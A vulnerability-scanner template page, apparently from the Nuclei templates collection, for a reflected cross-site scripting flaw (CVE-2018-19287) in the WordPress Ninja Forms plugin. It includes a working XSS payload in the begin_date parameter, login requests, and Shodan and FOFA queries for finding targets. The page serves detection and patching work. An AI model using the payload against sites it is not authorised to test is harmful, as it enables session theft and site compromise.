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WordPress Ninja Forms <3.3.18 - Cross-Site Scripting

ID: CVE-2018-19287

Severity: medium

Author: theamanrawat

Tags: cve,cve2018,wp-plugin,wp,xss,authenticated,wpscan,edb,ninja-forms,wordpress,ninjaforma

Description

Section titled “Description”

WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2018-19287


info:
  name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
    - https://wordpress.org/plugins/ninja-forms/
    - https://www.exploit-db.com/exploits/45880
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19287
    - https://plugins.trac.wordpress.org/changeset/1974335/ninja-forms/trunk/includes/Admin/Menus/Submissions.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19287
    cwe-id: CWE-79
    epss-score: 0.36152
    epss-percentile: 0.97155
    cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforma
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve,cve2018,wp-plugin,wp,xss,authenticated,wpscan,edb,ninja-forms,wordpress,ninjaforma


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'


      - type: word
        part: header_2
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c70da4d5bf08e61a26618d3f4c4f4f4b3df77e9d79c4bb25165e5bc3cda184b202206e59f8eeda5718c91bcf1677ecea89c24d3959d942ad26a9cdcf791c6e3bbb98:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-19287.yaml"

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